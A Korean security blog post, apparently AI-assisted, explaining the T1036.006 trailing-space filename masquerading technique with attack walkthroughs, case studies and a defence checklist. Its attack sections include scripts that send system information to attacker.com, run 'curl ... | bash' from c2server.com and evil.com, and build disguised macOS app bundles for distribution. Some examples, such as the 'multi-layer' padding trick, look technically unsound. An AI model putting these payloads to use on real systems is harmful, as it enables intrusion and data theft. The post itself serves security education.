파일명 공백 위장: 공백 255개로 확장자를 숨기는 원리 | T1036.006
T1036.006 파일명 공백 위장 기법의 동작 원리를 상세 분석합니다. Linux/macOS에서 공백 문자로 확장자를 숨기는 방법, 실제 공격 사례, 탐지 및 방어 기법까지 완전 해부합니다.
파일명 공백 위장: 공백 255개로 확장자를 숨기는 원리 | T1036.006
MITRE ATT&CK 프레임워크에는 공격자들이 파일 확장자를 숨기는 다양한 기법들이 등록되어 있으며, 그 중 T1036.006은 단순하지만 매우 효과적인 파일명 위장 기법이다. 이 기법은 파일명 끝에 공백 문자를 추가하여 사용자의 인식을 조작하고, Linux와 macOS의 파일 실행 메커니즘을 악용한다.
Windows 환경에서는 파일의 확장자가 실행 방식을 결정한다. .exe, .bat, .com 같은 확장자가 있으면 실행 파일로 인식하고, .txt, .jpg 같은 확장자가 있으면 해당 프로그램으로 열립니다.
하지만 Linux와 macOS는 다른다. 이들 운영체제는 파일의 ** 매직 바이트(Magic Bytes)** 와 실행 권한을 기반으로 파일 타입을 결정한다. 확장자는 단순히 사용자 편의를 위한 힌트일 뿐이다.
공격자들은 OS 설계의 이런 차이점을 악용했다. 사용자는 여전히 확장자로 파일을 판단하는 습관이 있지만, OS는 실제 파일 내용으로 판단한다. 여기서 인지적 불일치가 발생한다.
특히 파일명 끝의 공백은 다음과 같은 문제를 만듭니다:
ls 명령으로는 쉽게 식별 불가malware.txt로 인식하지만 실제로는 실행 파일T1036.006은 Unix 계열 OS의 확장자 무시 특성과 사용자의 확장자 의존 습관 사이의 간극을 악용하기 위해 개발된 기법이다.
T1036.006 Masquerading: Space after Filename
Adversaries may abuse the space after filename technique to hide the true file type of a malicious file. This technique involves adding trailing spaces to the end of a filename to manipulate how the file appears to users while maintaining its executable properties. — MITRE ATT&CK Official Documentation
이 정의를 풀어보면, 공격자가 파일명 끝에 공백을 추가하여 악성 파일의 실제 타입을 숨기는 기법이다. 사용자에게는 다른 타입의 파일로 보이지만 실행 속성은 그대로 유지된다.
T1036.006 기법의 핵심 구성 요소는 다음과 같다:
.txt, .pdf, .jpg 등 무해해 보이는 확장자| 용어 | 설명 |
|---|---|
| T1036.006 Space after Filename | 대상 플랫폼: Linux, macOS / 위장 방법: 파일명 끝 공백 / 탐지 난이도: 중간 |
| T1036.007 Double File Extension | 대상 플랫폼: Windows / 위장 방법: .pdf.exe 형태 / 탐지 난이도: 낮음 |
| T1036.008 Masquerade File Type | 대상 플랫폼: 모든 플랫폼 / 위장 방법: 매직 바이트 조작 / 탐지 난이도: 높음 |
| T1036.002 Right-to-Left Override | 대상 플랫폼: 모든 플랫폼 / 위장 방법: 유니코드 RLO / 탐지 난이도: 중간 |
Step 1: 악성 파일 생성
공격자는 먼저 정상적인 실행 파일을 생성한다:
# macOS에서 간단한 실행 파일 생성
echo '#!/bin/bash\necho "악성코드 실행됨"' > malware
chmod +x malware
이 시점에서 파일의 매직 바이트는 다음과 같다:
$ hexdump -C malware | head -1
00000000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 65 63 68 6f |#!/bin/bash.echo|
23 21 (ASCII로 #!)이 쉘 스크립트임을 나타내는 매직 바이트이다.
Step 2: 파일명 조작
이제 공격자는 파일명을 조작한다:
# 파일명 끝에 공백 추가
mv malware "document.pdf$(printf '%*s' 20 '')"
# 또는
mv malware "document.pdf "
Step 3: 시각적 확인
일반 사용자가 파일을 확인하면:
$ ls -la
-rwxr-xr-x 1 user staff 25 Feb 10 10:30 document.pdf
공백이 있는지 명확하지 않다. 하지만 정확한 파일명을 확인하려면:
$ ls -la | cat -A
-rwxr-xr-x 1 user staff 25 Feb 10 10:30 document.pdf $
cat -A 옵션으로 공백이 시각화된다.
macOS의 파일 실행 과정
file 명령어와 동일한 방식으로 파일 헤더 검사chmod +x 권한이 있는지 확인// 유사한 파일 타입 검사 코드 (의사코드)
int check_file_type(const char* filepath) {
FILE* fp = fopen(filepath, "rb");
unsigned char magic[4];
fread(magic, 1, 4, fp);
// ELF 바이너리 체크
if (magic[0] == 0x7F && magic[1] == 'E' &&
magic[2] == 'L' && magic[3] == 'F') {
return EXECUTABLE_ELF;
}
// Mach-O 바이너리 체크 (macOS)
if (magic[0] == 0xFE && magic[1] == 0xED &&
magic[2] == 0xFA && magic[3] == 0xCE) {
return EXECUTABLE_MACHO;
}
// 쉘 스크립트 체크
if (magic[0] == '#' && magic[1] == '!') {
return SCRIPT_SHELL;
}
return UNKNOWN;
}
시나리오: 가짜 PDF 문서
공격자가 report.pdf로 위장한 악성 파일을 배포한다고 가정해보겠다:
# 1. 악성 쉘 스크립트 생성
cat > malicious_payload << 'EOF'
#!/bin/bash
# 시스템 정보 수집
whoami > /tmp/.hidden_info
uname -a >> /tmp/.hidden_info
# 원격 서버로 전송
curl -X POST -d @/tmp/.hidden_info http://attacker.com/collect
# 정상적인 PDF 뷰어 실행 (위장)
open -a Preview /System/Library/CoreServices/Problem\ Reporter.app/Contents/Resources/ProblemReporter.pdf
EOF
chmod +x malicious_payload
# 2. 파일명을 PDF로 위장 (공백 다수 추가)
spaces=$(printf '%*s' 255 '')
mv malicious_payload "보고서.pdf${spaces}"
피해자 관점에서는:
보고서.pdf로 표시공격자들은 공백 개수를 최적화하여 탐지를 회피한다:
# 너무 적으면: 터미널에서 쉽게 발견
mv malware "doc.txt " # 공백 소수 - 쉽게 발견됨
# 적절한 수: 화면에서 잘림
mv malware "doc.txt$(printf '%*s' 50 '')" # 다수 - 대부분 화면에서 잘림
# 너무 많으면: 파일시스템 제한에 걸림
mv malware "doc.txt$(printf '%*s' 300 '')" # 파일명 길이 제한 초과 가능
공격자들이 T1036.006을 선호하는 이유는 다음과 같다:
낮은 기술적 진입장벽
높은 성공률
공격 단계 1: 타겟 분석
공격자는 먼저 대상 환경을 분석한다:
# 대상 OS 확인
uname -s # Linux 또는 Darwin(macOS)
# 기본 파일 연결 프로그램 확인
file --mime-type sample.pdf
# application/pdf
# 파일명 길이 제한 확인
getconf NAME_MAX /tmp
# 255 (대부분의 파일시스템)
공격 단계 2: 페이로드 생성
# macOS 타겟용 악성 앱 번들 생성
mkdir -p "중요문서.pdf.app/Contents/MacOS"
cat > "중요문서.pdf.app/Contents/MacOS/중요문서.pdf" << 'EOF'
#!/bin/bash
# 백그라운드에서 실제 악성 동작
(curl -s http://c2server.com/stage2.sh | bash) &
# 사용자 의심 회피용 정상 PDF 열기
open "/System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns"
EOF
chmod +x "중요문서.pdf.app/Contents/MacOS/중요문서.pdf"
# Info.plist 생성 (PDF 아이콘 사용)
cat > "중요문서.pdf.app/Contents/Info.plist" << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>중요문서.pdf</string>
<key>CFBundleIconFile</key>
<string>pdf</string>
</dict>
</plist>
EOF
# 공백으로 .app 확장자 숨기기
spaces=$(printf '%*s' 100 '')
mv "중요문서.pdf.app" "중요문서.pdf${spaces}.app"
공격 단계 3: 배포 및 실행
# ZIP으로 압축하여 이메일 첨부
zip -r "문서모음.zip" "중요문서.pdf .app"
# 또는 USB/공유 폴더에 배치
cp -r "중요문서.pdf .app" "/Volumes/USB_DRIVE/"
사례 1: WinRAR CVE-2023-38831 변형 공격
2023년 9월, 공격자들은 WinRAR 취약점과 함께 공백 위장 기법을 조합했습니다.
resultati_sovehchaniya_11_09_2023.rar아카이브에서 동일한 이름의 PDF 파일과 폴더를 포함하되, PDF 파일명 끝에 공백을 추가하여 실제로는 CMD 스크립트가 실행되도록 했습니다. — Kaspersky Security Bulletin
사례 2: BlueNoroff 캠페인 (2022)
BlueNoroff APT 그룹은 2022년 12월 새로운 Mark of the Web(MoTW) 우회 기법과 함께 파일명 공백 기법을 사용했습니다. 암호화폐 관련 문서로 위장한 악성 파일들이 발견되었으며, 파일명 끝에 다수의 공백을 추가하여 확장자를 숨겼습니다. — AhnLab ASEC Analysis Report
기법 1: 동적 공백 생성
# 실행 시점에 공백 추가 (정적 분석 회피)
original_name="malware"
spaces_count=$((RANDOM % 49 + 10)) # 랜덤 공백
new_name="document.pdf$(printf "%*s" $spaces_count '')"
mv "$original_name" "$new_name"
기법 2: 다중 위장 레이어
# 1단계: 정상 파일로 위장
echo "This is a normal text file" > decoy.txt
# 2단계: 실제 악성코드를 숨겨진 영역에 삽입
python3 << 'EOF'
with open('decoy.txt', 'ab') as f:
f.write(b'\x00' * 100) # NULL 패딩
f.write(b'#!/bin/bash\ncurl evil.com/payload.sh | bash\n')
EOF
# 3단계: 공백으로 확장자 위장
spaces=$(printf '%*s' 80 '')
mv decoy.txt "report.pdf${spaces}"
chmod +x "report.pdf${spaces}"
시스템 관리자용 방어 체크리스트
# 공백이 포함된 실행 파일 탐지
find /home -type f -executable -name "* *" -ls
2. **파일 업로드 필터링**
```python
def validate_filename(filename):
# 후행 공백 제거 및 검증
clean_name = filename.rstrip()
if len(clean_name) != len(filename):
raise SecurityError("Trailing spaces detected")
return clean_name
이메일 첨부파일 스캔 강화
사용자 교육
ls -la | cat -A 명령어 사용법 교육file 명령어로 타입 확인T1036.006 파일명 공백 위장 기법은 Unix 계열 OS의 확장자 무시 특성과 사용자의 시각적 인식 한계를 동시에 악용하는 정교한 사회공학 공격이다. 단순해 보이지만 매우 효과적이며. 특히 다른 공격 기법과 조합될 때 강력한 위력을 발휘한다.
이 기법은 T1036 위장 공격의 하위 기법 중 하나로, 이중 확장자 공격 T1036.007이나 매직 바이트 조작 T1036.008과 함께 사용되는 경우가 많다.
다음에 알아볼 것들
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.